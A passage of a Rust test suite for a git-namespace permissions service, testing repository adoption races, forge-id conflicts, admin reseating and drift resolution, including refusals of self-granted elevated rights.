json!({ "type": "repoCreatedUnmanaged", "forgeId": "200", "resource": X }),
)
.await;
}
let s = snap(&f).await;
let at = all_at(&s, X);
assert_eq!(at.len(), 1, "run {run} adopted_y {adopted_y}: {at:?}");
assert_eq!(at[0].state, RepoState::PendingCreate, "run {run}");
assert_eq!(at[0].forge_id, None, "run {run}");
let y = s.repo_at(Y).unwrap();
assert_eq!(
(y.id.clone(), y.state, y.forge_id.clone()),
(
before_y.id.clone(),
before_y.state,
before_y.forge_id.clone()
),
"run {run}"
);
assert_invariants(&s, &format!("run {run}"));
}
}
#[tokio::test]
async fn rc_b_over_fresh_adoption_loop() {
for run in 0..20u64 {
let mut seed = run * 97 + 3;
let f = fixture().await;
let ns = bind_bridge(&f).await;
let adopted_y = rng(&mut seed).is_multiple_of(2);
let y_first = rng(&mut seed).is_multiple_of(2);
if !y_first {
ok(&adopt(&f, X, &f.carol).await);
}
if adopted_y {
ok(&adopt(&f, Y, &f.bob).await);
answer_latest_inspect(&f, Y, "200").await;
} else {
ev(
&f,
&ns,
json!({ "type": "repoCreatedUnmanaged", "forgeId": "200", "resource": Y }),
)
.await;
}
if y_first {
ok(&adopt(&f, X, &f.carol).await);
}
let xid = snap(&f).await.repo_at(X).unwrap().id.clone();
ev(
&f,
&ns,
json!({ "type": "repoCreatedUnmanaged", "forgeId": "200", "resource": X }),
)
.await;
let s = snap(&f).await;
let at = all_at(&s, X);
assert_eq!(at.len(), 1, "run {run}: {at:?}");
assert_eq!(at[0].id, xid);
assert_eq!(at[0].forge_id, None, "run {run}");
assert!(carol_holds(&s, &xid, &f.carol.did));
assert_eq!(s.repo_at(Y).unwrap().forge_id.as_deref(), Some("200"));
assert_invariants(&s, &format!("run {run} pre-inspect"));
answer_latest_inspect(&f, X, "200").await;
let s = snap(&f).await;
assert_eq!(s.repo_at(X).unwrap().forge_id, None, "run {run}");
assert!(
s.repo_at(X)
.unwrap()
.last_error
.as_deref()
.unwrap_or("")
.contains("200")
);
assert_eq!(live_with_fid(&s, "200").len(), 1);
assert_invariants(&s, &format!("run {run} post-inspect"));
}
}
#[tokio::test]
async fn rc_rename_window_loop() {
for run in 0..20u64 {
let mut seed = run * 13 + 1;
let f = fixture().await;
let mut ns = bind_bridge(&f).await;
let variant = rng(&mut seed) % 3;
if variant == 0 {
ok(&adopt(&f, X, &f.bob).await);
answer_latest_inspect(&f, X, "100").await;
ok(&send(
&f.vtc.state,
&f.admin,
"namespace/unbind",
json!({ "namespace": ns }),
)
.await);
ns = bind_bridge(&f).await;
}
ok(&adopt(&f, X, &f.carol).await);
let s = snap(&f).await;
let id = s.repo_at(X).unwrap().id.clone();
assert_eq!(s.repo_at(X).unwrap().forge_id, None);
let ev_json = if variant == 2 {
json!({ "type": "repoRenamed", "from": X, "to": Z })
} else {
json!({ "type": "repoRenamed", "forgeId": "100", "from": X, "to": Z })
};
let kind = if rng(&mut seed).is_multiple_of(2) {
"repoRenamed"
} else {
"repoTransferred"
};
let mut e = ev_json.clone();
e["type"] = json!(kind);
let _ = event(&f, &ns, e).await;
let s = snap(&f).await;
assert!(s.repo_at(Z).is_none(), "run {run} v{variant} {kind}: moved");
let at = s.repo_at(X).unwrap();
assert_eq!(at.id, id);
assert_eq!(at.state, RepoState::Active, "run {run}: {:?}", at.state);
assert!(carol_holds(&s, &id, &f.carol.did));
answer_latest_inspect(&f, X, "300").await;
assert_eq!(
snap(&f).await.repo_at(X).unwrap().forge_id.as_deref(),
Some("300")
);
assert_invariants(&snap(&f).await, &format!("run {run}"));
}
}
#[tokio::test]
async fn rc_detached_and_live_same_forge_id_loop() {
let mut bad_create = 0;
let mut bad_rename = 0;
for _run in 0..30u64 {
let f = fixture().await;
let ns = bind_bridge(&f).await;
ok(&adopt(&f, X, &f.bob).await);
answer_latest_inspect(&f, X, "200").await;
ev(
&f,
&ns,
json!({ "type": "repoDeleted", "forgeId": "200", "resource": X }),
)
.await;
ok(&adopt(&f, Y, &f.carol).await);
answer_latest_inspect(&f, Y, "200").await;
let s = snap(&f).await;
let yid = s.repo_at(Y).unwrap().id.clone();
let y_has = s.repo_at(Y).unwrap().forge_id.clone();
assert_eq!(
y_has.as_deref(),
Some("200"),
"a detached row does not hold a forge id"
);
let _ = event(
&f,
&ns,
json!({ "type": "repoRenamed", "forgeId": "200", "from": Y, "to": Z }),
)
.await;
let s = snap(&f).await;
if y_has.is_some() && s.repo_at(Z).map(|r| r.id.clone()) != Some(yid.clone()) {
bad_rename += 1;
}
ev(
&f,
&ns,
json!({ "type": "repoCreatedUnmanaged", "forgeId": "200", "resource": X }),
)
.await;
let s = snap(&f).await;
let live = live_with_fid(&s, "200");
if live.len() > 1 {
bad_create += 1;
}
}
assert_eq!((bad_rename, bad_create), (0, 0));
}
#[tokio::test]
async fn rc_inspection_forge_id_rules() {
for run in 0..20u64 {
let f = fixture().await;
let ns = bind_bridge(&f).await;
ev(
&f,
&ns,
json!({ "type": "repoCreatedUnmanaged", "forgeId": "500", "resource": Y }),
)
.await;
ok(&adopt(&f, X, &f.carol).await);
answer_latest_inspect(&f, X, "500").await;
let s = snap(&f).await;
assert_eq!(s.repo_at(X).unwrap().forge_id, None, "run {run}");
assert_eq!(live_with_fid(&s, "500").len(), 1);
ok(&adopt(&f, Z, &f.carol).await);
answer_latest_inspect(&f, Z, "600").await;
assert_eq!(
snap(&f).await.repo_at(Z).unwrap().forge_id.as_deref(),
Some("600")
);
assert_invariants(&snap(&f).await, &format!("run {run}"));
}
}
#[tokio::test]
async fn rc_ambiguous_name_every_write_refuses() {
for run in 0..10u64 {
let f = fixture_with(GitNsConfig {
elevated_requires_admin: false,
..GitNsConfig::default()
})
.await;
let ns = bind_bridge(&f).await;
ok(&adopt(&f, X, &f.bob).await);
answer_latest_inspect(&f, X, "100").await;
let s = snap(&f).await;
let orig = s.repo_at(X).unwrap().clone();
let mut twin = orig.clone();
twin.id = format!("repo_twin{run}");
if run % 2 == 1 {
twin.forge_id = None;
}
store::put_repo(&f.vtc.state.git_ns.ks, &twin)
.await
.unwrap();
let s = snap(&f).await;
assert!(s.lookup_repo(X).is_err());
assert!(s.repo_at(X).is_none());
let outs = vec![
(
"grant",
grant(&f, &f.admin, &f.carol.did, "git.commit.sign", X).await,
),
("adopt", adopt(&f, X, &f.carol).await),
(
"create",
send(
&f.vtc.state,
&f.admin,
"repo/create",
json!({ "namespace": ns, "name": "widgets", "visibility": "public", "owners": [f.bob.did] }),
)
.await,
),
(
"revoke",
send(
&f.vtc.state,
&f.admin,
"right/revoke",
json!({ "subject": f.bob.did, "right": "git.repo.own", "resource": X }),
)
.await,
),
(
"transfer",
send(
&f.vtc.state,
&f.bob,
"repo/transfer",
json!({ "resource": X, "to": f.carol.did }),
)
.await,
),
(
"archive",
send(
&f.vtc.state,
&f.admin,
"repo/archive",
json!({ "resource": X }),
)
.await,
),
];
for (name, out) in outs {
assert_eq!(
code(&out),
"unavailable",
"run {run} {name}: {}",
String::from_utf8_lossy(&out.body)
);
}
let _ = event(
&f,
&ns,
json!({ "type": "repoCreatedUnmanaged", "forgeId": "700", "resource": X }),
)
.await;
let s = snap(&f).await;
let live = live_at(&s, X);
assert_eq!(live.len(), 1, "run {run}: {:?}", all_at(&s, X));
assert_eq!(live[0].forge_id.as_deref(), Some("700"));
let keeps = if twin.forge_id.is_none() {
assert_eq!(live[0].id, twin.id, "run {run}");
twin.id.clone()
} else {
assert_eq!(live[0].state, RepoState::Unmanaged, "run {run}");
live[0].id.clone()
};
assert_invariants(&s, &format!("run {run}"));
for id in [&orig.id, &twin.id].into_iter().filter(|id| **id != keeps) {
assert!(
s.rows(&Scope::Repo(id.clone())).is_empty(),
"run {run}: {id} kept rights"
);
assert!(
s.repos
.iter()
.all(|r| &r.id != id || r.state == RepoState::Detached),
"run {run}: {id} still live"
);
}
}
}
}
async fn link_account(f: &Fixture, ns: &str, who: &Party, id: &str, login: &str) {
let _ = link(f, who).await;
let job = f.bridge.jobs.lock().unwrap().last().unwrap().1["jobId"].clone();
ok(&event(
f,
ns,
json!({ "type": "accountLinked", "jobId": job, "account": { "forge": "github.com", "id": id, "login": login } }),
)
.await);
}
fn uri2(task: &str) -> String {
format!("{URI}/{task}/0.2")
}
async fn send_v(state: &AppState, who: &Party, type_uri: &str, payload: Value) -> TrustTaskOutcome {
let mut doc: TrustTask<Value> =
vta_sdk::trust_task_sign::build_unsigned(type_uri, payload, &who.did, TEST_VTC_DID)
.unwrap();
let key =
vta_sdk::trust_task_sign::HolderKey::from_did_key(&who.did, &who.secret_multibase).unwrap();
vta_sdk::trust_task_sign::sign_in_place_with(&mut doc, &key)
.await
.unwrap();
let body = serde_json::to_vec(&doc).unwrap();
dispatch_trust_task_core(state, &JoinAuthCtx::rest(), &body).await
}
#[tokio::test]
async fn view_0_2_returns_only_the_callers_own_linked_accounts() {
let f = fixture().await;
let ns = bind_bridge(&f).await;
link_account(&f, &ns, &f.bob, "9120045", "bob-builds").await;
crate::members::storage::edit_member(&f.vtc.state.members_ks, &f.bob.did, |m| {
m.extensions["forges"]["codeberg.org"] =
json!({ "id": "77", "login": "bob-cb", "linkedAt": "2026-09-23T10:00:00Z" });
true
})
.await
.unwrap();
link_account(&f, &ns, &f.carol, "5550001", "carol-c").await;
let bob = ok(&send_v(&f.vtc.state, &f.bob, &uri2("view"), json!({})).await);
let accounts = bob["accounts"].as_array().unwrap();
assert_eq!(accounts.len(), 2, "{bob}");
assert!(accounts.iter().all(|a| a["account"]["login"] != "carol-c"));
assert!(accounts.iter().all(|a| a["linkedAt"].is_string()));
let bob = ok(&send_v(
&f.vtc.state,
&f.bob,
&uri2("view"),
json!({ "resource": "github.com/acme" }),
)
.await);
assert_eq!(
bob["accounts"],
json!([{ "account": { "forge": "github.com", "id": "9120045", "login": "bob-builds" }, "linkedAt": bob["accounts"][0]["linkedAt"] }])
);
let admin = ok(&send_v(&f.vtc.state, &f.admin, &uri2("view"), json!({})).await);
assert_eq!(admin["accounts"], json!([]));
let v1 = ok(&send(&f.vtc.state, &f.bob, "view", json!({})).await);
assert!(v1.get("accounts").is_none());
let out = send_v(&f.vtc.state, &f.stranger, &uri2("view"), json!({})).await;
assert_eq!(code(&out), "permissionDenied");
}
async fn reseat(f: &Fixture, who: &Party, ns: &str, subject: &str) -> TrustTaskOutcome {
send_v(
&f.vtc.state,
who,
RESEAT_URI,
json!({ "namespace": ns, "subject": subject, "statement": "Alice left; Carol owns most repositories" }),
)
.await
}
async fn activate_git_policy(f: &Fixture, source: &str) {
use crate::policy::model::PolicyPurpose;
use crate::policy::storage::{new_policy, set_active_policy_id, store_policy};
let id = uuid::Uuid::new_v4();
let compiled = crate::policy::engine::compile(source, id).unwrap();
let mut policy = new_policy(
PolicyPurpose::GitNamespace,
source.to_string(),
*compiled.source_sha256(),
"test".into(),
2,
);
policy.id = id;
policy.activated_at = Some(chrono::Utc::now());
store_policy(&f.vtc.state.policies_ks, &policy)
.await
.unwrap();
set_active_policy_id(
&f.vtc.state.active_policies_ks,
PolicyPurpose::GitNamespace,
id,
)
.await
.unwrap();
}
fn policy_denying(action: &str) -> String {
format!(
r#"package vtc.git_namespace
import rego.v1
settings := {{"maintainer_grants_commit": false, "cascade_on_departure": false, "role_drift": "report"}}
default decision := {{"effect": "allow"}}
decision := {{"effect": "deny", "with": {{"code": "not-here", "reason": "this community does not"}}}} if {{
input.action == "{action}"
}}
"#
)
}
#[tokio::test]
async fn reseat_restores_an_admin_to_a_headless_namespace_and_answers_every_code() {
let f = fixture().await;
let dana = Party::new();
seed_acl(&f.vtc.state, &dana.did, crate::acl::VtcRole::Admin).await;
let ns = bind_manual(&f).await;
let out = reseat(&f, &dana, &ns, &f.carol.did).await;
assert_eq!(code(&out), "git-ns/namespace/reseat:notHeadless");
assert!(!String::from_utf8_lossy(&out.body).contains(&f.admin.did));
crate::acl::delete_acl_entry(&f.vtc.state.acl_ks, &f.admin.did)
.await
.unwrap();
let out = reseat(&f, &f.bob, &ns, &f.carol.did).await;
assert_eq!(code(&out), "permissionDenied");
let out = reseat(&f, &dana, "ns_nope", &f.carol.did).await;
assert_eq!(code(&out), "git-ns:unknownNamespace");
let out = reseat(&f, &dana, &ns, &dana.did).await;
assert_eq!(code(&out), "git-ns:selfGrantNotAllowed");
assert!(String::from_utf8_lossy(&out.body).contains("git-ns/right/break-glass"));
let console = Party::new();
crate::acl::console_key::enrol_delegation(
&f.vtc.state.console_keys_ks,
&f.vtc.state.acl_ks,
&console.did,
&dana.did,
Some("browser".into()),
None,
)
.await
.unwrap();
let out = reseat(&f, &console, &ns, &dana.did).await;
assert_eq!(code(&out), "git-ns:selfGrantNotAllowed");
assert!(String::from_utf8_lossy(&out.body).contains("git-ns/right/break-glass"));
let snap = Snapshot::load(&f.vtc.state.git_ns).await.unwrap();
assert!(!super::rules::admins(&snap, &ns, super::ops::now()).contains(&dana.did));
let out = reseat(&f, &dana, &ns, &f.stranger.did).await;
assert_eq!(code(&out), "git-ns:membersOnly");
activate_git_policy(&f, &policy_denying("namespace.reseat")).await;
let out = reseat(&f, &dana, &ns, &f.carol.did).await;
assert_eq!(code(&out), "git-ns:policyDenied");
crate::policy::default::install_defaults(
&f.vtc.state.policies_ks,
&f.vtc.state.active_policies_ks,
)
.await
.unwrap();
crate::policy::storage::clear_active_policy_id(
&f.vtc.state.active_policies_ks,
crate::policy::model::PolicyPurpose::GitNamespace,
)
.await
.unwrap();
crate::policy::default::install_defaults(
&f.vtc.state.policies_ks,
&f.vtc.state.active_policies_ks,
)
.await
.unwrap();
let body = ok(&reseat(&f, &dana, &ns, &f.carol.did).await);
assert_eq!(body["right"]["subject"], json!(f.carol.did));
assert_eq!(body["right"]["right"], "git.ns.admin");
assert_eq!(body["right"]["grantedBy"], json!(dana.did));
assert!(body["right"].get("expiresAt").is_none());
assert!(
body["right"]["reason"]
.as_str()
.unwrap()
.contains("Alice left")
);
let snap = Snapshot::load(&f.vtc.state.git_ns).await.unwrap();
assert!(super::rules::admins(&snap, &ns, super::ops::now()).contains(&f.carol.did));
let out = reseat(&f, &dana, &ns, &f.bob.did).await;
assert_eq!(code(&out), "git-ns/namespace/reseat:notHeadless");
}
#[tokio::test]
async fn reseat_refuses_a_pending_namespace_and_counts_a_lapsed_admin_as_gone() {
let f = fixture().await;
let body = ok(&send(
&f.vtc.state,
&f.admin,
"namespace/bind",
json!({ "forge": "github.com", "owner": "acme", "mode": "bridge" }),
)
.await);
let pending = body["namespace"]["id"].as_str().unwrap().to_string();
let out = reseat(&f, &f.admin, &pending, &f.carol.did).await;
assert_eq!(code(&out), "git-ns:namespaceNotBound");
let f = fixture().await;
let ns = bind_manual(&f).await;
let scope = Scope::Namespace(ns.clone());
let mut set = store::get_rights(&f.vtc.state.git_ns, &scope)
.await
.unwrap();
for r in &mut set.rows {
r.expires_at = Some("2020-01-01T00:00:00Z".parse().unwrap());
}
store::put_rights(&f.vtc.state.git_ns, &scope, &set)
.await
.unwrap();
ok(&reseat(&f, &f.admin, &ns, &f.carol.did).await);
}
const RES: &str = "github.com/acme/widgets";
async fn drift_fixture(drift: Value) -> (Fixture, String) {
let (f, ns) = drift_fixture_unreported(drift).await;
report_default_map(&f, &ns).await;
(f, ns)
}
async fn drift_fixture_unreported(drift: Value) -> (Fixture, String) {
let f = fixture().await;
let ns = bind_bridge(&f).await;
adopt_with_forge_id(&f, RES, "100").await;
link_account(&f, &ns, &f.carol, "5550001", "carol-c").await;
report_drift(&f, &ns, drift).await;
(f, ns)
}
async fn report_drift(f: &Fixture, ns: &str, drift: Value) {
ok(&send(
&f.vtc.state,
&f.bridge_party,
"bridge/event",
json!({
"namespace": ns,
"event": { "type": "protectionChanged", "forgeId": "100", "resource": RES, "requiredCheck": true },
"drift": drift,
}),
)
.await);
}
fn carol_acct() -> Value {
json!({ "forge": "github.com", "id": "5550001", "login": "carol-c" })
}
fn eve_acct() -> Value {
json!({ "forge": "github.com", "id": "5550123", "login": "eve-dev" })
}
fn uri3(task: &str) -> String {
format!("{URI}/{task}/0.3")
}
async fn resolve(f: &Fixture, who: &Party, drift: Value, action: &str) -> TrustTaskOutcome {
let subject = (action == "adopt").then(|| f.carol.did.clone());
resolve_naming(f, who, drift, action, subject.as_deref()).await
}
async fn resolve_naming(
f: &Fixture,
who: &Party,
drift: Value,
action: &str,
subject: Option<&str>,
) -> TrustTaskOutcome {
let mut p = json!({ "resource": RES, "drift": drift, "action": action, "reason": "decided" });
if let Some(s) = subject {
p["subject"] = json!(s);
}
send_v(&f.vtc.state, who, &uri3("drift/resolve"), p).await
}
#[tokio::test]
async fn drift_resolve_adopts_a_members_forge_role_as_the_grant_it_is() {
let (f, _ns) = drift_fixture(json!([
{ "type": "roleAdded", "resource": RES, "account": carol_acct(), "observed": "maintain" },
{ "type": "requiredCheckMissing", "resource": RES }
]))
.await;
let body = ok(&resolve(
&f,
&f.bob,
json!({ "type": "roleAdded", "account": carol_acct(), "observed": "maintain" }),
"adopt",
)
.await);
assert_eq!(body["action"], "adopt");
assert_eq!(body["right"]["subject"], json!(f.carol.did));
assert_eq!(body["right"]["right"], "git.repo.maintain");
assert_eq!(body["right"]["grantedBy"], json!(f.bob.did));
assert_eq!(body["right"]["reason"], "decided");
assert_eq!(body["sync"]["state"], "drift");
assert_eq!(body["sync"]["drift"].as_array().unwrap().len(), 1);
let snap = Snapshot::load(&f.vtc.state.git_ns).await.unwrap();
let repo = snap.repo_at(RES).unwrap();
assert!(
snap.rows(&Scope::Repo(repo.id.clone()))
.iter()
.any(|r| { r.subject == f.carol.did && r.right == super::model::Right::RepoMaintain })
);
let out = resolve(
&f,
&f.bob,
json!({ "type": "roleAdded", "account": carol_acct(), "observed": "maintain" }),
"adopt",
)
.await;
assert_eq!(code(&out), "git-ns/drift/resolve:driftNotFound");
}
#[tokio::test]
async fn drift_adopt_of_ones_own_account_into_an_elevated_right_is_a_self_grant() {
let f = fixture().await;
let ns = bind_bridge(&f).await;
adopt_with_forge_id(&f, RES, "100").await;
report_default_map(&f, &ns).await;
let admin_acct = json!({ "forge": "github.com", "id": "5550077", "login": "admin-a" });
link_account(&f, &ns, &f.admin, "5550077", "admin-a").await;
report_drift(
&f,
&ns,
json!([{ "type": "roleAdded", "resource": RES, "account": admin_acct, "observed": "admin" }]),
)
.await;
let out = resolve_naming(
&f,
&f.admin,
json!({ "type": "roleAdded", "account": admin_acct, "observed": "admin" }),
"adopt",
Some(&f.admin.did),
)
.await;
assert_eq!(code(&out), "git-ns:selfGrantNotAllowed");
assert!(
payload(&out)["message"]
.as_str()
.unwrap()
.contains("break-glass")
);
let snap = Snapshot::load(&f.vtc.state.git_ns).await.unwrap();
let repo = snap.repo_at(RES).unwrap();
assert!(
!snap
.rows(&Scope::Repo(repo.id.clone()))
.iter()
.any(|r| r.subject == f.admin.did && r.right == super::model::Right::RepoOwn),
"a refused self-adoption wrote a right"
);
assert_eq!(
repo.sync.drift.len(),
1,
"the drift item stays outstanding for someone who may adopt it"
);
}
#[tokio::test]
async fn drift_resolve_adopts_only_for_the_member_it_names() {
let (f, ns) = drift_fixture(json!([
{ "type": "roleAdded", "resource": RES, "account": carol_acct(), "observed": "maintain" }
]))
.await;
let sel = json!({ "type": "roleAdded", "account": carol_acct(), "observed": "maintain" });
let rows_for = |did: String| {
let ks = f.vtc.state.git_ns.clone();
async move {
let snap = Snapshot::load(&ks).await.unwrap();
let repo = snap.repo_at(RES).unwrap();
snap.rows(&Scope::Repo(repo.id.clone()))
.iter()
.filter(|r| r.subject == did)
.count()
}
};
let out = resolve_naming(&f, &f.bob, sel.clone(), "adopt", Some(&f.stranger.did)).await;
assert_eq!(code(&out), "git-ns/drift/resolve:subjectChanged");
assert_eq!(rows_for(f.carol.did.clone()).await, 0);
assert_eq!(rows_for(f.stranger.did.clone()).await, 0);
crate::members::storage::edit_member(&f.vtc.state.members_ks, &f.carol.did, |m| {
m.extensions
.as_object_mut()
.is_some_and(|o| o.remove("forges").is_some())
})
.await
.unwrap();
link_account(&f, &ns, &f.bob, "5550001", "carol-c").await;
let out = resolve(&f, &f.bob, sel.clone(), "adopt").await;
assert_eq!(code(&out), "git-ns/drift/resolve:subjectChanged");
assert_eq!(rows_for(f.carol.did.clone()).await, 0);
let body = ok(&resolve_naming(&f, &f.bob, sel, "adopt", Some(&f.bob.did)).await);
assert_eq!(body["right"]["subject"], json!(f.bob.did));
}
#[tokio::test]
async fn a_namespace_admin_adopts_a_raise_over_their_own_name_right() {
let (f, ns) = drift_fixture(json!([])).await;
ok(&grant(&f, &f.bob, &f.admin.did, "git.repo.maintain", RES).await);
link_account(&f, &ns, &f.admin, "5550077", "admin-a").await;
let admin_acct = json!({ "forge": "github.com", "id": "5550077", "login": "admin-a" });
report_drift(
&f,
&ns,
json!([{ "type": "roleChanged", "resource": RES, "account": admin_acct.clone(),
"expected": "maintain", "observed": "admin" }]),
)
.await;
let snap = Snapshot::load(&f.vtc.state.git_ns).await.unwrap();
let repo = snap.repo_at(RES).unwrap().clone();
let ns_rec = snap.namespace(&ns).unwrap().clone();
assert!(
super::rules::effective_on(
&snap,
&f.admin.did,
&repo.resource().unwrap(),
super::ops::now()
)
.contains(&super::model::Right::RepoOwn)
);
assert_eq!(
super::bridge::projected_repo_right(&snap, &ns_rec, &repo, &f.admin.did, super::ops::now()),
Some(super::model::Right::RepoMaintain)
);
let sel = json!({ "type": "roleChanged", "account": admin_acct, "observed": "admin" });
let dana = Party::new();
seed_acl(&f.vtc.state, &dana.did, VtcRole::Admin).await;
ok(&grant(&f, &f.admin, &dana.did, "git.ns.admin", "github.com/acme").await);
let body = ok(&resolve_naming(&f, &dana, sel, "adopt", Some(&f.admin.did)).await);
assert_eq!(body["right"]["right"], "git.repo.own");
assert_eq!(body["right"]["subject"], json!(f.admin.did));
assert_eq!(body["right"]["grantedBy"], json!(dana.did));
}
#[tokio::test]
async fn an_adoption_never_grants_the_resolver_an_elevated_right() {
let (f, ns) = drift_fixture(json!([])).await;
ok(&grant(&f, &f.bob, &f.admin.did, "git.repo.maintain", RES).await);
link_account(&f, &ns, &f.admin, "5550077", "admin-a").await;
let admin_acct = json!({ "forge": "github.com", "id": "5550077", "login": "admin-a" });
link_account(&f, &ns, &f.bob, "5550088", "bob-b").await;
let bob_acct = json!({ "forge": "github.com", "id": "5550088", "login": "bob-b" });
report_drift(
&f,
&ns,
json!([
{ "type": "roleChanged", "resource": RES, "account": admin_acct.clone(),
"expected": "maintain", "observed": "admin" },
{ "type": "roleAdded", "resource": RES, "account": bob_acct.clone(), "observed": "maintain" }
]),
)
.await;
let sel = json!({ "type": "roleChanged", "account": admin_acct, "observed": "admin" });
let own_rows = |snap: &Snapshot| {
let repo = snap.repo_at(RES).unwrap();
snap.rows(&Scope::Repo(repo.id.clone()))
.iter()
.filter(|r| r.subject == f.admin.did && r.right == super::model::Right::RepoOwn)
.count()
};
let out = resolve_naming(&f, &f.admin, sel.clone(), "adopt", Some(&f.admin.did)).await;
assert_eq!(code(&out), "git-ns:selfGrantNotAllowed");
assert!(String::from_utf8_lossy(&out.body).contains("git-ns/right/break-glass"));
let console = Party::new();
crate::acl::console_key::enrol_delegation(
&f.vtc.state.console_keys_ks,
&f.vtc.state.acl_ks,
&console.did,
&f.admin.did,
Some("browser".into()),
None,
)
.await
.unwrap();
let out = resolve_naming(&f, &console, sel, "adopt", Some(&f.admin.did)).await;
assert_eq!(code(&out), "git-ns:selfGrantNotAllowed");
let snap = Snapshot::load(&f.vtc.state.git_ns).await.unwrap();
assert_eq!(own_rows(&snap), 0);
assert_eq!(snap.repo_at(RES).unwrap().sync.drift.len(), 2);
let body = ok(&resolve_naming(
&f,
&f.bob,
json!({ "type": "roleAdded", "account": bob_acct, "observed": "maintain" }),
"adopt",
Some(&f.bob.did),
)
.await);
assert_eq!(body["right"]["right"], "git.repo.maintain");
assert_eq!(body["right"]["subject"], json!(f.bob.did));
}
#[tokio::test]
async fn a_map_that_gives_maintainers_admin_makes_a_self_adopted_maintain_elevated() {
let (f, ns) = drift_fixture(json!([])).await;
ok(&report_role_map(
&f,
&ns,
json!({ "type": "roleMapReported", "roleMap": { "own": "admin", "maintain": "admin", "commit": "none" } }),
)
.await);
link_account(&f, &ns, &f.bob, "5550088", "bob-b").await;
let bob_acct = json!({ "forge": "github.com", "id": "5550088", "login": "bob-b" });
report_drift(
&f,
&ns,
json!([{ "type": "roleAdded", "resource": RES, "account": bob_acct.clone(), "observed": "admin" }]),
)
.await;
let sel = json!({ "type": "roleAdded", "account": bob_acct, "observed": "admin" });
let out = resolve_naming(&f, &f.bob, sel.clone(), "adopt", Some(&f.bob.did)).await;
assert_eq!(code(&out), "git-ns:selfGrantNotAllowed");
assert!(String::from_utf8_lossy(&out.body).contains("git.repo.maintain"));
assert!(!String::from_utf8_lossy(&out.body).contains("break-glass"));
let snap = Snapshot::load(&f.vtc.state.git_ns).await.unwrap();
let repo = snap.repo_at(RES).unwrap();
assert!(
!snap
.rows(&Scope::Repo(repo.id.clone()))
.iter()
.any(|r| r.subject == f.bob.did && r.right == super::model::Right::RepoMaintain)
);
let body = ok(&resolve_naming(&f, &f.admin, sel, "adopt", Some(&f.bob.did)).await);
assert_eq!(body["right"]["right"], "git.repo.maintain");
assert_eq!(body["right"]["subject"], json!(f.bob.did));
}
#[tokio::test]
async fn a_namespace_admin_alone_has_no_projected_right() {
let (f, ns) = drift_fixture(json!([])).await;
let snap = Snapshot::load(&f.vtc.state.git_ns).await.unwrap();
let repo = snap.repo_at(RES).unwrap().clone();
let ns_rec = snap.namespace(&ns).unwrap().clone();
assert_eq!(
super::bridge::projected_repo_right(&snap, &ns_rec, &repo, &f.admin.did, super::ops::now()),
None
);
assert_eq!(
super::bridge::projected_repo_right(&snap, &ns_rec, &repo, &f.bob.did, super::ops::now()),
Some(super::model::Right::RepoOwn)
);
}
#[tokio::test]
async fn an_adopted_grant_rechecks_the_link_where_it_is_written() {
let (f, _ns) = drift_fixture(json!([])).await;
let holds = |_: &Snapshot| -> super::ops::OpResult<()> { Ok(()) };
let grant_to = |subject: String| -> trust_tasks_rs::specs::git_ns::right::grant::v0_3::Payload {
serde_json::from_value(
json!({ "subject": subject, "right": "git.repo.maintain", "resource": RES }),
)
.unwrap()
};
let wrong = super::ops::LinkedTo {
forge: "github.com".into(),
id: "5550001".into(),
member: f.bob.did.clone(),
};
let r = super::ops::right_grant_via(
&f.vtc.state,
&f.bob.did,
grant_to(f.bob.did.clone()),
Some(super::ops::GrantVia {
via: "drift.adopt",
still_holds: &holds,
linked_to: Some(&wrong),
op: test_waived_op(),
}),
)
.await;
assert!(matches!(
r,
Err(super::ops::OpError::Declared { code, .. }) if code == super::drift::SUBJECT_CHANGED
));
let gone = super::ops::LinkedTo {
forge: "github.com".into(),
id: "9999999".into(),
member: f.carol.did.clone(),
};
let r = super::ops::right_grant_via(
&f.vtc.state,
&f.bob.did,
grant_to(f.carol.did.clone()),
Some(super::ops::GrantVia {
via: "drift.adopt",
still_holds: &holds,
linked_to: Some(&gone),
op: test_waived_op(),
}),
)
.await;
assert!(matches!(
r,
Err(super::ops::OpError::Declared { code, .. }) if code == super::drift::ACCOUNT_NOT_LINKED
));
let right = super::ops::LinkedTo {
forge: "github.com".into(),
id: "5550001".into(),
member: f.carol.did.clone(),
};
assert!(
super::ops::right_grant_via(
&f.vtc.state,
&f.bob.did,
grant_to(f.carol.did.clone()),
Some(super::ops::GrantVia {
via: "drift.adopt",
still_holds: &holds,
linked_to: Some(&right),
op: test_waived_op(),
}),
)
.await
.is_ok()
);
}
#[tokio::test]
async fn drift_resolve_0_1_reverts_but_does_not_adopt() {
let (f, _ns) = drift_fixture(json!([
{ "type": "roleAdded", "resource": RES, "account": carol_acct(), "observed": "maintain" },
{ "type": "requiredCheckMissing", "resource": RES }
]))
.await;
let out = send(
&f.vtc.state,
&f.bob,
"drift/resolve",
json!({ "resource": RES, "action": "adopt",
"drift": { "type": "roleAdded", "account": carol_acct(), "observed": "maintain" } }),
)
.await;
assert_eq!(code(&out), "unsupportedVersion");
let snap = Snapshot::load(&f.vtc.state.git_ns).await.unwrap();
let repo = snap.repo_at(RES).unwrap();
assert!(
!snap
.rows(&Scope::Repo(repo.id.clone()))
.iter()
.any(|r| r.subject == f.carol.did)
);
let body = ok(&send(
&f.vtc.state,
&f.bob,
"drift/resolve",
json!({ "resource": RES, "action": "revert", "drift": { "type": "requiredCheckMissing" } }),
)
.await);
assert_eq!(body["action"], "revert");
}
#[tokio::test]
async fn drift_resolve_refuses_what_cannot_be_adopted_with_the_declared_codes() {
let (f, _ns) = drift_fixture(json!([
{ "type": "roleAdded", "resource": RES, "account": eve_acct(), "observed": "write" },
{ "type": "roleChanged", "resource": RES, "account": carol_acct(), "expected": "maintain", "observed": "triage" },
{ "type": "requiredCheckMissing", "resource": RES, "observed": "off" }
]))
.await;
let out = resolve(
&f,
&f.bob,
json!({ "type": "requiredCheckMissing", "observed": "off" }),
"adopt",
)
.await;
assert_eq!(code(&out), "git-ns/drift/resolve:notAdoptable");
let out = resolve(
&f,
&f.bob,
json!({ "type": "roleAdded", "account": eve_acct(), "observed": "write" }),
"adopt",
)
.await;
assert_eq!(code(&out), "git-ns/drift/resolve:accountNotLinked");
let out = resolve(
&f,
&f.bob,
json!({ "type": "roleChanged", "account": carol_acct(), "observed": "triage" }),
"adopt",
)
.await;
assert_eq!(code(&out), "git-ns/drift/resolve:noMatchingRight");
let out = resolve(
&f,
&f.bob,
json!({ "type": "roleChanged", "account": carol_acct(), "observed": "admin" }),
"adopt",
)
.await;
assert_eq!(code(&out), "git-ns/drift/resolve:driftNotFound");
ok(&grant(&f, &f.bob, &f.carol.did, "git.repo.maintain", RES).await);
report_drift(
